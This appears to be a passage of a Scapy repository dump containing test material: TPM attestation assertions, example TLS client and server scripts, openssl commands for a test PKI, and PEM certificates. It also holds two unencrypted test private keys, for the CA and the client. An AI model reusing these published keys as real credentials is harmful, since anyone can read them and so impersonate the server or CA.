b\"\\x00\\x0b'\\x82s(\\n\\x07\\x19\\x99Wo\\\\\\xac\\xe3ZMiUr\\xe9\\x0fZ2\\x8b\\xb5{\\xb1C\\xff-\\xccz\\xa3\"\nassert idBinding.Attest.attestationData.attested.creationHash.buffer == b'.\\xd0\\xb6\\ns\\xf1\\x0b\\x8a\\xdb\\x08Z\\x0c\\xfe(\\xec\\xe3\\xf6C\\x1dp\\xf3\\xe6\\x07\\x9c879\\x83~\\x824f'\nassert idBinding.Signature.sprintf(\"%sigAlg%\") == \"TPM_ALG_RSASSA\"\nassert idBinding.Signature.signature.sprintf(\"%hash%\") == \"TPM_ALG_SHA1\"\n\nkeyAttestation = cmc_enrollment.kas.keyAttestation\nassert isinstance(keyAttestation, KeyAttestation)\nassert keyAttestation.sprintf(\"%Platform%\") == \"TPM 2.0\"\nassert keyAttestation.keyBlob.flags & 2\nassert keyAttestation.keyBlob.public.publicArea.objectAttributes.fixedTPM\nassert keyAttestation.keyBlob.public.publicArea.objectAttributes.userWithAuth\nassert keyAttestation.keyBlob.public.publicArea.parameters.symmetric.sprintf(\"%algorithm%\") == 'TPM_ALG_NULL'\nassert keyAttestation.keyBlob.public.publicArea.parameters.scheme.sprintf(\"%scheme%\") == 'TPM_ALG_NULL'\nassert [x.buffer for x in keyAttestation.keyBlob.policyDigestList.digests] == [\n    b'\\x8f\\xcd!i\\xab\\x92iN\\x0cc?\\x1a\\xb7r\\x84+\\x82A\\xbb\\xc2\\x02\\x88\\x98\\x1f\\xc7\\xac\\x1e\\xdd\\xc1\\xfd\\xdb\\x0e',\n    b'\\xe5)\\xf5\\xd6\\x11(r\\x95N\\x8e\\xd6`Q\\x17\\xb7W\\xe27\\xc6\\xe1\\x95\\x13\\xa9I\\xfe\\xe1\\xf2\\x04\\xc4X\\x02:',\n    b'\\xaf,\\xa5ii\\x9cCj!\\x00o\\x1c\\xb8\\xa2ul\\x98\\xbc\\x1cvZ5Y\\xc5\\xfe\\x1c?^r(\\xa7\\xe7',\n    b'\\xc4\\x13\\xa8G\\xb1\\x11\\x12\\xb1\\xcb\\xdd\\xd4\\xec\\xa4\\xda\\xaa\\x15\\xa1\\x85,\\x1c;\\xbaWF\\x1d%v\\x05\\xf3\\xd5\\xafS',\n    b'',\n    b'\\x04\\x8e\\x9a:\\xce\\x08X?y\\xf3D\\xffx[\\xbe\\xa9\\xf0z\\xc7\\xfa3%\\xb3\\xd4\\x9a!\\xddQ\\x94\\xc6XP',\n]\n\naikOpaque = cmc_enrollment.kas.aikOpaque\nassert isinstance(aikOpaque, PCP_20_KEY_BLOB)\nassert aikOpaque.public.publicArea.unique.buffer == b'\\xc6\\x1c\\x7f\\xc4KC\\xc2 \\x9b;a/\\x888\\x84\\x0e4w5\\xb4\\x01\\'\\xb8/\\x1c\\xc2\\xe9\\xc3;v\\x8dUb4\\x8c\\xde\\xd09\\xd9\\x1dSPC\\xaa\\xcb\\xcc[N6Z\\xedK\\\\\\xa8\\xe3\\x94h:\\x04(|\\xc1\\x08\\x15\\x12]Z\\xf7\\xc6,\\x94\\x9c\\xe1\\x145e\\xee\\x8c\\x89/\\xd0\\xea>\\x91\\xc1\\xb4\\x1cl\\xc5\\xaa\\x9c\\xca)\\t\\xbb\\nhv\\xdb3\\xf3\\xbe\\xdcLYj\\xc8g.VN\\xdc\\xbd\\x95\\xfc\\x05\"\\xc7\\xc7\\xf2{w\\x1b\\x18\\xba\\xf6\\xa4\\x93\\x00V?\\x87 \\xa5U\\x96\\x807\\xa5\\xa5\\x0b\\x11O\\x7f\\x1br\\x96H\\x1e1\\xf7z\\xcc\\xd7\\x1e\\x132SD\\xc1F\\x9d|Ud9]\\xa3[\\xff6\\xa9\\xc0\\xa7\\x9e]\\xf4\\xdc=1\\xe7\\xa9i\\xc9\\xcaI\\xd9\\x80\\x84\\xa3\\xe7f\\x0f\\n\\xb2\\xe9o\\x13\\x12Vg}\\x85\\xbd\\x14^<\\xe6\\x10WQ3\\x0e\\xcci\\x99(\\xc60\\x87\\xa4+\\xbdw\\x03RD\\xef\\x87/[\\x9f\\x04C}\\xf2\\x18]\\x8f\\xb4x\\x04\\xb2\\xe6\\xd8h\\xf9\\xad\\xef\\x88?\\xea\\x88\\x07\\xecu'\nassert [x.buffer for x in aikOpaque.policyDigestList.digests] == [\n    b'\\x8f\\xcd!i\\xab\\x92iN\\x0cc?\\x1a\\xb7r\\x84+\\x82A\\xbb\\xc2\\x02\\x88\\x98\\x1f\\xc7\\xac\\x1e\\xdd\\xc1\\xfd\\xdb\\x0e',\n    b'\\xe5)\\xf5\\xd6\\x11(r\\x95N\\x8e\\xd6`Q\\x17\\xb7W\\xe27\\xc6\\xe1\\x95\\x13\\xa9I\\xfe\\xe1\\xf2\\x04\\xc4X\\x02:',\n    b'\\xaf,\\xa5ii\\x9cCj!\\x00o\\x1c\\xb8\\xa2ul\\x98\\xbc\\x1cvZ5Y\\xc5\\xfe\\x1c?^r(\\xa7\\xe7',\n    b'\\xc4\\x13\\xa8G\\xb1\\x11\\x12\\xb1\\xcb\\xdd\\xd4\\xec\\xa4\\xda\\xaa\\x15\\xa1\\x85,\\x1c;\\xbaWF\\x1d%v\\x05\\xf3\\xd5\\xafS',\n    b'',\n    b'\\x04\\x8e\\x9a:\\xce\\x08X?y\\xf3D\\xffx[\\xbe\\xa9\\xf0z\\xc7\\xfa3%\\xb3\\xd4\\x9a!\\xddQ\\x94\\xc6XP',\n]"
  },
  {
    "path": "test/scapy/layers/tls/example_client.py",
    "content": "#!/usr/bin/env python\n\n# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n\"\"\"\nBasic TLS client. A ciphersuite may be commanded via a first argument.\nDefault protocol version is TLS 1.3.\n\"\"\"\n\nimport os\nimport socket\nimport sys\nfrom argparse import ArgumentParser\n\nfrom scapy.config import conf\nfrom scapy.utils import inet_aton\nfrom scapy.layers.tls.automaton_cli import TLSClientAutomaton\nfrom scapy.layers.tls.basefields import _tls_version_options\nfrom scapy.layers.tls.keyexchange import _tls_hash_sig\nfrom scapy.layers.tls.handshake import TLSClientHello, TLS13ClientHello\nfrom scapy.tools.UTscapy import scapy_path\n\npsk = None\nparser = ArgumentParser(description='Simple TLS Client')\nparser.add_argument(\"--psk\",\n                    help=\"External PSK for symmetric authentication (for TLS 1.3)\")  # noqa: E501\nparser.add_argument(\"--no_pfs\", action=\"store_true\",\n                    help=\"Disable (EC)DHE exchange with PFS\")\nparser.add_argument(\"--ciphersuite\", help=\"Ciphersuite preference\")\nparser.add_argument(\"--version\", help=\"TLS Version\", default=\"tls13\")\nparser.add_argument(\"--ticket_in\", dest='session_ticket_file_in',\n                    help=\"File to read a ticket from (for TLS 1.3)\")\nparser.add_argument(\"--ticket_out\", dest='session_ticket_file_out',\n                    help=\"File to write a ticket to (for TLS 1.3)\")\nparser.add_argument(\"--res_master\",\n                    help=\"Resumption master secret (for TLS 1.3)\")\nparser.add_argument(\"--sni\",\n                    help=\"Server Name Indication\")\nparser.add_argument(\"--curve\", help=\"ECC group to advertise\")\nparser.add_argument(\"--sig-algs\", help=\"Signature algorithms to advertise (coma separated)\")\nparser.add_argument(\"--debug\", action=\"store_const\", const=5, default=0,\n                    help=\"Enter debug mode\")\nparser.add_argument(\"server\", nargs=\"?\", default=\"127.0.0.1\",\n                    help=\"The server to connect to\")\nparser.add_argument(\"port\", nargs=\"?\", type=int, default=4433,\n                    help=\"The TCP destination port\")\n\nargs = parser.parse_args()\n\n# By default, PFS is set\nif args.no_pfs:\n    psk_mode = \"psk_ke\"\nelse:\n    psk_mode = \"psk_dhe_ke\"\n\nv = _tls_version_options.get(args.version, None)\nif not v:\n    sys.exit(\"Unrecognized TLS version option.\")\n\ntry:\n    socket.getaddrinfo(args.server, args.port)\nexcept socket.error as ex:\n    sys.exit(\"Could not resolve host server: %s\" % ex)\n\nif args.ciphersuite:\n    ciphers = int(args.ciphersuite, 16)\n    if ciphers not in list(range(0x1301, 0x1306)):\n        ch = TLSClientHello(ciphers=ciphers)\n    else:\n        ch = TLS13ClientHello(ciphers=ciphers)\nelse:\n    ch = None\n\nserver_name = args.sni\n# If server name is unknown, try server\nif not server_name and args.server:\n    try:\n        inet_aton(args.server)\n    except socket.error:\n        server_name = args.server\n\nsupported_signature_algorithms = None\nif args.sig_algs:\n    supported_signature_algorithms = args.sig_algs.split(\",\")\n    for sigalg in supported_signature_algorithms:\n        if sigalg not in _tls_hash_sig.values():\n            sys.exit(\"Unrecognized signature algorithm: %s\" % sigalg)\n\nt = TLSClientAutomaton(server=args.server, dport=args.port,\n                       server_name=server_name,\n                       client_hello=ch,\n                       version=args.version,\n                       mycert=scapy_path(\"/test/scapy/layers/tls/pki/cli_cert.pem\"),\n                       mykey=scapy_path(\"/test/scapy/layers/tls/pki/cli_key.pem\"),\n                       psk=args.psk,\n                       psk_mode=psk_mode,\n                       resumption_master_secret=args.res_master,\n                       session_ticket_file_in=args.session_ticket_file_in,\n                       session_ticket_file_out=args.session_ticket_file_out,\n                       supported_signature_algorithms=supported_signature_algorithms,\n                       curve=args.curve,\n                       debug=args.debug)\nt.run()\n\n"
  },
  {
    "path": "test/scapy/layers/tls/example_server.py",
    "content": "#!/usr/bin/env python\n\n# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n\"\"\"\nBasic TLS server. A preferred ciphersuite may be provided as first argument.\n\nFor instance, \"sudo ./server_simple.py c014\" will start a server accepting\nany TLS client connection. If provided, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA\nwill be preferred to any other suite the client might propose.\n\"\"\"\n\nimport os\nimport sys\nfrom argparse import ArgumentParser\n\nfrom scapy.config import conf\nfrom scapy.layers.tls.automaton_srv import TLSServerAutomaton\nfrom scapy.tools.UTscapy import scapy_path\n\nparser = ArgumentParser(description='Simple TLS Server')\nparser.add_argument(\"--cert\",\n                    default=scapy_path('/test/scapy/layers/tls/pki/srv_cert.pem'),\n                    help=\"Cert file.\")\nparser.add_argument(\"--key\",\n                    default=scapy_path('/test/scapy/layers/tls/pki/srv_key.pem'),\n                    help=\"Key file.\")\nparser.add_argument(\"--psk\",\n                    help=\"External PSK for symmetric authentication (for TLS 1.3)\")  # noqa: E501\nparser.add_argument(\"--no_pfs\", action=\"store_true\",\n                    help=\"Disable (EC)DHE exchange with PFS\")\nparser.add_argument(\"--pcs\",\n                    help=\"Preferred Cipher Suite (ex: 0x1301 = TLS_AES_128_GCM_SHA256)\")\nparser.add_argument(\"--psa\",\n                    help=\"Preferred Signature Algorithm (ex: sha256+rsaepss)\")\n# args.curve must be a value in the dict _tls_named_curves (see tls/crypto/groups.py)\nparser.add_argument(\"--curve\", help=\"ECC curve to advertise (ex: secp256r1...\")\nparser.add_argument(\"--cookie\", action=\"store_true\",\n                    help=\"Send cookie extension in HelloRetryRequest message\")\nparser.add_argument(\"--client_auth\", action=\"store_true\",\n                    help=\"Require client authentication\")\nparser.add_argument(\"--handle_session_ticket\", action=\"store_true\",\n                    help=\"Use session tickets. Auto enabled if file provided (for TLS 1.3)\")  # noqa: E501\nparser.add_argument(\"--ticket_file\", dest='session_ticket_file',\n                    help=\"File to write/read a ticket to (for TLS 1.3)\")\nparser.add_argument(\"--debug\", action=\"store_const\", const=5, default=0,\n                    help=\"Enter debug mode\")\nargs = parser.parse_args()\n\n# PFS is set by default...\nif args.no_pfs and args.psk:\n    psk_mode = \"psk_ke\"\nelse:\n    psk_mode = \"psk_dhe_ke\"\n\nt = TLSServerAutomaton(mycert=args.cert,\n                       mykey=args.key,\n                       preferred_ciphersuite=args.pcs,\n                       preferred_signature_algorithm=args.psa,\n                       client_auth=args.client_auth,\n                       curve=args.curve,\n                       cookie=args.cookie,\n                       handle_session_ticket=args.handle_session_ticket,\n                       session_ticket_file=args.session_ticket_file,\n                       psk=args.psk,\n                       psk_mode=psk_mode,\n                       debug=args.debug)\nt.run()\n\n"
  },
  {
    "path": "test/scapy/layers/tls/pki/README.md",
    "content": "# Notes on how to generate the PKI\n\n```\nopenssl genpkey -algorithm ED25519 -out srv_key_ed25519.pem\nopenssl req -new -key srv_key_ed25519.pem -out srv_cert_ed25519.csr -addext basicConstraints=critical,CA:FALSE,pathlen:1 -addext \"extendedKeyUsage = serverAuth\" -subj \"/C=MN/L=Ulaanbaatar/OU=Scapy Test PKI/CN=Scapy Test Server\"\nopenssl x509 -req -days 3653 -in srv_cert_ed25519.csr -CA ca_cert.pem -CAkey ca_key.pem -out srv_cert_ed25519.pem -copy_extensions copyall\nrm srv_cert_ed25519.csr\nopenssl x509 -in srv_cert_ed25519.pem -text -noout\n```\n"
  },
  {
    "path": "test/scapy/layers/tls/pki/ca_cert.pem",
    "content": "-----BEGIN CERTIFICATE-----\nMIIDiDCCAnCgAwIBAgIJALpa+1bjqpmeMA0GCSqGSIb3DQEBCwUAMFQxCzAJBgNV\nBAYTAk1OMRQwEgYDVQQHDAtVbGFhbmJhYXRhcjEXMBUGA1UECwwOU2NhcHkgVGVz\ndCBQS0kxFjAUBgNVBAMMDVNjYXB5IFRlc3QgQ0EwHhcNMTYwOTE2MTAyNjQ1WhcN\nMjYwOTE2MTAyNjQ1WjBUMQswCQYDVQQGEwJNTjEUMBIGA1UEBwwLVWxhYW5iYWF0\nYXIxFzAVBgNVBAsMDlNjYXB5IFRlc3QgUEtJMRYwFAYDVQQDDA1TY2FweSBUZXN0\nIENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0Gy5LahBQAwiGUrP\nZLrBUIEZAlnsOkCd7Al+wJwaPFhMLy+nga0ubMuUBo4P9DQv729jpiRnu6Q1ScO3\nPcRX5FNdEKxV9fLOWUJp5MIMz5k6snJ5+kEMouNXj/umUN+qHHyvgbDVEw7RroTN\nmLqnWs2Al5Rd0NAxp4lLoYdVUclXrlOGY7Ldkq4WAgdlJZQ6PiZyeoz6YNeoRNmR\nh4RGKDmzoSEKqsAUlozEg3seC1EbU0TtY9r3O09tEGegQUARIxXV3qpWjFxakax+\nXzzldwuoIWMO7x8RqH9X3Y+ktcLOxiPhKmGqcR3kNyMcARatdIjdV0b3jAeH68of\nDVxXoQIDAQABo10wWzAdBgNVHQ4EFgQUZlOU9BXRvWdosFE3MjXhpKreB3wwHwYD\nVR0jBBgwFoAUZlOU9BXRvWdosFE3MjXhpKreB3wwDAYDVR0TBAUwAwEB/zALBgNV\nHQ8EBAMCAgQwDQYJKoZIhvcNAQELBQADggEBAJNnhilPvSXjGFSUNp5XG81i44lI\nwqsYcWl7cuNjFS8tqciMb1Q8Lr768+CPFYlf3OjwX43SCe621oKtRZV0O3bizSZd\n5xuCAEsCe1jkk4d7Nxk13/AB2z6YKvWeud/vLAQpYIwzV/qExAOv+ZLAj46t6S/E\nh/A/kNEXqBE5e+yysTUVNz+moI7P8Sw91yXuiPMSWJ4rla+nmfFWaKTP9vjEmEHt\na+LA8VUiR2dEeLcRnVCgVJc0+AS6EjG662AKyNYP4AcmUaFvBKRiJpEgZwNmmOen\nPjNAbNxzEk7bJMG8GUmwYJ9cYznBFBOzAJNyMkG8wSmMYN3NgdnD4KYHYVE=\n-----END CERTIFICATE-----\n"
  },
  {
    "path": "test/scapy/layers/tls/pki/ca_key.pem",
    "content": "-----BEGIN PRIVATE KEY-----\nMIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDQbLktqEFADCIZ\nSs9kusFQgRkCWew6QJ3sCX7AnBo8WEwvL6eBrS5sy5QGjg/0NC/vb2OmJGe7pDVJ\nw7c9xFfkU10QrFX18s5ZQmnkwgzPmTqycnn6QQyi41eP+6ZQ36ocfK+BsNUTDtGu\nhM2YuqdazYCXlF3Q0DGniUuhh1VRyVeuU4Zjst2SrhYCB2UllDo+JnJ6jPpg16hE\n2ZGHhEYoObOhIQqqwBSWjMSDex4LURtTRO1j2vc7T20QZ6BBQBEjFdXeqlaMXFqR\nrH5fPOV3C6ghYw7vHxGof1fdj6S1ws7GI+EqYapxHeQ3IxwBFq10iN1XRveMB4fr\nyh8NXFehAgMBAAECggEAXSPpEO0604tYhaL30VTf5MD8Ux+qQFH2ALAxk5Nu6f6v\ndPq/yWSB9Z54NQGxQXk83qwRhQKJ1MHKCn/K2HBwsplKYpQRCgsKibrzJYZOQUuB\nfpNHzTzaj8Q2siJMLaH2HCrgJ33FinG55Fp2okTvWtWxHIvx7MnNFsh1IuceiqA3\n5tVSR7+kMraJgJ9auRNRQbH273LzntVOzAt339Xd38izsQ7CvYERAQGabTwo6BEC\nnDFfhWXPaxRt5JcJWcJNYSxYKigMmDh4oGXSb+mZeuojcXYcaHzyAToAjZ6x2hXU\nVjxo7JMK+gvhJvlOpY2tjMNIkRh1P7gLrBSP8XcxjQKBgQDtSIr8qooaswEQ9H8W\nTkr5ciLU4u6Wfhp26+M6oHPv57bbJI7qN68Z3l+cbtLxSqj0bcop1V+xvQjWOD+/\nckNPm4aEmoIMP3a0oQARtJeR9uaos64uudc+1gpz9g7w+sO+khy9yAFdY1+9gsEi\nWqqbtVQ2e3RABoolr14Pcc222wKBgQDg3XAjcXupfsrDhQP5R45kY/eVFWUk7PMB\njpPl6+ZfoB/vqUuCZBX3UYrFDe4O+n0R6oF9ACXLRsVuaG/IZYDFczsBvEr8WpOG\n78lpTbgUwudKlnzSBl01aUZu7zpJ3oFhX1DgZspr72UfHl9+/NwezV4gFd0ZKGLO\ns/aLsh3eMwKBgDm3TH9a6A7IfbjnD8aYMqpsNca8kDYw5DUK+ZF4F9tB7HtvcAfO\nlZvgODdvyYWBmIkj72mvigBMr8qTkgX6QB8sAFNe1cUu5qvXAZJM8BVEDiT416Rr\n9cxF+fLs5gN9q4E+Pxl2fcZ+dno9RMcbcKZBPAOokcVFEfNKrcFp+BTDAoGBAL42\n0ztILgFs/fxysq/V9f+6CJ8WIB8iSVXR1A40hQXzH9DN9s/v9hzl32tdozkMb2wO\nYUbqLw5LaYtB0P1Fz643EX0gWJYr0IvenxPy6Hq3fIu9zQyk0Yfy69+/giEmlW9W\n/8UzbpvrQDEYslNrdpCfzLV7iTJU1XBhD3eQTm+9AoGAf1EX07Jk7357Y7+l/vB4\nCd0g+k4yRadDM7tCrdYnZcdwhFoKtCC9y/ChBgHRkayMizJRYC218ou9muP3qYLD\nWd+Sqtxg7LlDRa+m8db0SI40a0AMb0fGKXzy4AxD1EJrBLt8rdaDrqoGF/Vwadjh\nsxUMjCPGDmiV+ucqbJR9/NE=\n-----END PRIVATE KEY-----\n"
  },
  {
    "path": "test/scapy/layers/tls/pki/cli_cert.pem",
    "content": "-----BEGIN CERTIFICATE-----\nMIIDnjCCAoagAwIBAgIJAP4EVw3HJ+n4MA0GCSqGSIb3DQEBCwUAMFQxCzAJBgNV\nBAYTAk1OMRQwEgYDVQQHDAtVbGFhbmJhYXRhcjEXMBUGA1UECwwOU2NhcHkgVGVz\ndCBQS0kxFjAUBgNVBAMMDVNjYXB5IFRlc3QgQ0EwHhcNMTYwOTE2MTAzMDUyWhcN\nMjYwOTE1MTAzMDUyWjBYMQswCQYDVQQGEwJNTjEUMBIGA1UEBwwLVWxhYW5iYWF0\nYXIxFzAVBgNVBAsMDlNjYXB5IFRlc3QgUEtJMRowGAYDVQQDDBFTY2FweSBUZXN0\nIENsaWVudDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMMJN5ioDSgj\nOufUeWJI7Ali5QPySoD8neeSXkzGlm48SGDNzoKQs0v75gmlOs/mditKsPfu9HQA\nOhd97oor8HQLhEMqF6OpiGyjOo7i3+/X8bPhJJsn6pYmJ5PH8HjduHuGFGt9Or2t\nwpQCd1t5ZN3KSZpnEk9K3HS3GJHHsO69UvuIWsksjjetAtD7HpvdeMGrMRmTEgI3\nEFVUigfP1y8uaoq648TPG31MFx8cpxfKhNtstmRPZNpyl2NpzoZQFXskbMO8pVYc\nQxTwA6/AgDBYoaYRdV4hq5MSfcGloy5OIsR/8toamJ0EjbypulnC0+F78goP/Puw\nisuHi2YYJxUCAwEAAaNvMG0wCQYDVR0TBAIwADALBgNVHQ8EBAMCBeAwHQYDVR0O\nBBYEFAPVvKSOtt3Hj63JN8ZtzEGSZZ5IMB8GA1UdIwQYMBaAFGZTlPQV0b1naLBR\nNzI14aSq3gd8MBMGA1UdJQQMMAoGCCsGAQUFBwMCMA0GCSqGSIb3DQEBCwUAA4IB\nAQAhzb8LBydZ+ulSyIiF4/PgTh7/sQOC1LroP0GhVsOLNZ07qvw8teXJO9HwsAqm\n14GeLJh5XWhoL4tkq9RMcwuZL2vuVl9FB9inLerA1FU/ErJJOIIC3drIORTTQ2ot\nlUkbKOAQFzZfP0d+iuCFi0r0Kcu7BAZETTeG4cAoIoIIhh2AZ8DfT3E6xP7OKUMA\n3m1gA4M1hwiAhFvj4iBaG20Sb0RXpDuTToHEfCEnuQdoex3F8gmn88yt22FNakqe\ncr9ooif+id4ErdKLozgG1i0PFYCFRj2/fUPTQw3BSgfo+XNcAjA04CowuhPAjsL8\nybC+9OE5YPSxfOqOPB4sK/w2\n-----END CERTIFICATE-----\n"
  },
  {
    "path": "test/scapy/layers/tls/pki/cli_key.pem",
    "content": "-----BEGIN PRIVATE KEY-----\nMIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDDCTeYqA0oIzrn\n1HliSOwJYuUD8kqA/J3nkl5MxpZuPEhgzc6CkLNL++YJpTrP5nYrSrD37vR0ADoX\nfe6KK/B0C4RDKhejqYhsozqO4t/v1/Gz4SSbJ+qWJieTx/B43bh7hhRrfTq9rcKU\nAndbeWTdykmaZxJPStx0txiRx7DuvVL7iFrJLI43rQLQ+x6b3XjBqzEZkxICNxBV\nVIoHz9cvLmqKuuPEzxt9TBcfHKcXyoTbbLZkT2Tacpdjac6GUBV7JGzDvKVWHEMU\n8AOvwIAwWKGmEXVeIauTEn3BpaMuTiLEf/LaGpidBI28qbpZwtPhe/IKD/z7sIrL\nh4tmGCcVAgMBAAECggEBAJU951ocNj0hgEDH+L55uIySLVawv8wmAhqiiSBM0e22\nmVfiBIUqftjE/8kfs3pFCuWjuPlv04U0az9wsOjwKIZUDbhrbD1jTC59VSDjgKKC\nZsTTonRLvhl5Rs2xsFR8rV9wQQ3jfOCKJxulK3pG0SVaVqoc9wjP6xQwy086NCzq\nQLnM2BESEED9cfbO7zVE7bJzLmAH9v4eF5hpuQ3SQZGE6oib0uPPnAyl5iOZZHnu\n4DTxVHYIYKCegL47VpeL3h80Yzu8bAuqoSsLxbBcAoYB9e9ZMVi8o1NaVM9eT0/m\nHSb+rkN39YrrtXDkXxqmwsh8B7R9gRBxMFIzsI83XN0CgYEA+KSoQ3zpEjjFioB+\n006JcATCslLERgDuuaVqVlnt5a983i/3nwvICxfsGrFaQJ4TkhXEYuZro4Zovdc1\n9IAj8DEQRNh7H7mZoWtQnFC32VOdAUVZVpopL6009xKs/II9pRKg4Vm6mpb47xfl\nYk/upy5yV4gHThkMLccJ8PqmIosCgYEAyM6Da1vflkzoKMu7HmJNmi59hnk5N15V\nC8BcYNaodiHucrcyzOexaVnIQJ7+CgVen+RF9wwcIQxUsw8Vcs0AZ4ipLDOFZXNk\nk0oGjr5oeCIHJvA9W1BSXmcJ5Beo4ASr0GmIQpfsFohFuHXn7ezQWqA6Me8HwFGF\nl8goN3VyMN8CgYBJ5u7YOE0yDEuykeSgO6yf7dpMlEsgH3DVHvRPPCV4akNr6sfn\nruHDYlXbzTDtGc7pUazwVFpT3UROgKPZyyhjYMHcJJfb4xdlofbwrxEl+DMnSIx4\nMBPjxtCCSzu9RZy67qGAuWG8RvkwX2LfaLCfYi+8EoNRVCKJjKpIxMcSZwKBgC9E\nxZTJDKmxstiflI2DcGcB2JSGBpzs/LIGdvhor0EXnaytSS0IwS9ebhAgHQa42txi\nfMG5vQlegLWhsFfUv+qfNcts2VLXRe6R91c0pRzaTbqxxI+xKaKFOMPTefI5x0QJ\nA4VBg9aN/3N7dbwBCc67dtd4P+faiMsA186uO9IbAoGAVvh9bC5zoCfenexRe9si\nc/baEsOlPjMnM/QKz6Ue/65YTzpJYQ1hVlGqP2DsN28f5yJetHLcUINaPxlegKdL\nIfhmdg5HO7v35NHVghXq+/M8xYRzKD6nqRqB8wEdGb+XOo5QHXsLp3wBQ7QXL4UI\nmrJFWi1wtyQOdIO4GJC8Bc0=\n-----END PRIVATE KEY-----\n"
  },
  {
    "path": "test/scapy/layers/tls/pki/srv_cert.pem",
    "content": "-----BEGIN CERTIFICATE-----\nMIIDnjCCAoagAwIBAgIJAP4EVw3HJ+n2MA0GCSqGSIb3DQEBCwUAMFQxCzAJBgNV\nBAYTAk1OMRQwEgYDVQQHDAtVbGFhbmJhYXRhcjEXMBUGA1UECwwOU2NhcHkgVGVz\ndCBQS0kxFjAUBgNVBAMMDVNjYXB5IFRlc3QgQ0EwHhcNMTYwOTE2MTAyODExWhcN\nMjYwOTE1MTAyODExWjBYMQswCQYDVQQGEwJNTjEUMBIGA1UEBwwLVWxhYW5iYWF0\nYXIxFzAVBgNVBAsMDlNjYXB5IFRlc3QgUEtJMRowGAYDVQQDDBFTY2FweSBUZXN0\nIFNlcnZlcjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMzx8ZtgLWCu\n8pgNJynZwAlZTA9KMKhS3+WxIZ9Pwz1Wk91fxvez9lWL55Li3vKFSbShLPT9dqhn\nygQgYBEYpvKptqYd2arl2duv5q9VV5//Uoll5oBigCGUvM+BG8tnwp21BXcEpseI\nGIB4aJU23pcbtmGHQhp1mEWC6z4yEcibhkI5jU0St1gbGfOdK6GYgsrXOyT7CTmw\nvMKVz4IpdRYpP0IgFytNQIxWbK26DzSFsX9AeXF4t6UEu5T3tUGV7nzrjQx5aFnv\ny7P6Pnge7mdMet3gme/a5++yCV2+gCAhBYMsRNtdKnYppbAjiHQHVCLWKXqS9W8t\nnuf4JiucWGUCAwEAAaNvMG0wCQYDVR0TBAIwADALBgNVHQ8EBAMCBeAwHQYDVR0O\nBBYEFKErIHDSa4DlZbzrAw+In3St3fYTMB8GA1UdIwQYMBaAFGZTlPQV0b1naLBR\nNzI14aSq3gd8MBMGA1UdJQQMMAoGCCsGAQUFBwMBMA0GCSqGSIb3DQEBCwUAA4IB\nAQCBiJJza5PnldbdQe6OHr2jSFinQTU/e33QN5gOuCyUd8hRNkCtWQkoyFbW6lus\ntNg/aLdmyuFWN6kAZepRyeyyaUld+ePA7WFUyRKfxrAKc1XoVTVg7xw28NrRkHdW\nBLirOO73CcWlmJAj6h/bFX8yKIGrm4UCS5XnN1F7G0gu+z5Sow20RqmSOhwf1woe\nWEr6LlGPKcYeuA4xDnPxJ4gXyshpDPqDzbN5DhSwuJsvOi0J4/wG8Dpu/TY7KxoJ\nKuirX4xA5IGyvPeDZxFuTpPqIq//o5p3V3bQCzis+IqUNY7X1GHMAf8ktI9hI7qI\n11nk6boqTrUVD5zQ6gaR2d6r\n-----END CERTIFICATE-----\n"
  },
  {
    "path": "test/scapy/layers/tls/pki/srv_cert_ed25519.pem",
    "content": "-----BEGIN CERTIFICATE-----\nMIICqDCCAZCgAwIBAgIUYYDvh160/Q32Q/MuCGSfIYxTwwEwDQYJKoZIhvcNAQEL\nBQAwVDELMAkGA1UEBhMCTU4xFDASBgNVBAcMC1VsYWFuYmFhdGFyMRcwFQYDVQQL\nDA5TY2FweSBUZXN0IFBLSTEWMBQGA1UEAwwNU2NhcHkgVGVzdCBDQTAeFw0yNDA3\nMTQxOTU4MzNaFw0zNDA3MTUxOTU4MzNaMFgxCzAJBgNVBAYTAk1OMRQwEgYDVQQH\nDAtVbGFhbmJhYXRhcjEXMBUGA1UECwwOU2NhcHkgVGVzdCBQS0kxGjAYBgNVBAMM\nEVNjYXB5IFRlc3QgU2VydmVyMCowBQYDK2VwAyEAB8exZcGWUFeio0aPES732u5l\nGXRUuaktLmSIQB8PoPejaDBmMA8GA1UdEwEB/wQFMAMCAQEwEwYDVR0lBAwwCgYI\nKwYBBQUHAwEwHQYDVR0OBBYEFJOzQR0udLrz7IiLP3q+FehLxijkMB8GA1UdIwQY\nMBaAFGZTlPQV0b1naLBRNzI14aSq3gd8MA0GCSqGSIb3DQEBCwUAA4IBAQCRk6TP\nXKfSy2fwodsYe1bedhL9mlm9xDDOu6ILkDZtCpbOwrjeSf+U7VQYvdlI8QCeQyEK\nZE/S3S5UzOjEv7fQpyqfG9aJJbH7OQwG25ShiX86Kt/RAkgtjyCmKevhT6uSs5fa\nBsdYWnS9WHWH5ZkWkjZt1K2xYJP4Lqg9VpHy/YNz4b5swXEWf+MdayVSgzPxoviG\nzXnsTrxiTcGvelGFm/lYc42u6cSqrHoLtfniyaGNvPwrfBsiY/cypN4GZLNgEk80\n/tcAg2TeUGNbMbT4Rko1OMLxMT9zRzgJyjd/XyW/5fCE/Xm0q7VYo1EF1ScywU1B\nXwZH9DJ6Ud0s8/j+\n-----END CERTIFICATE-----\n"
  },
  {
    "path": "test/scapy/layers/tls/pki/srv_key.pem",
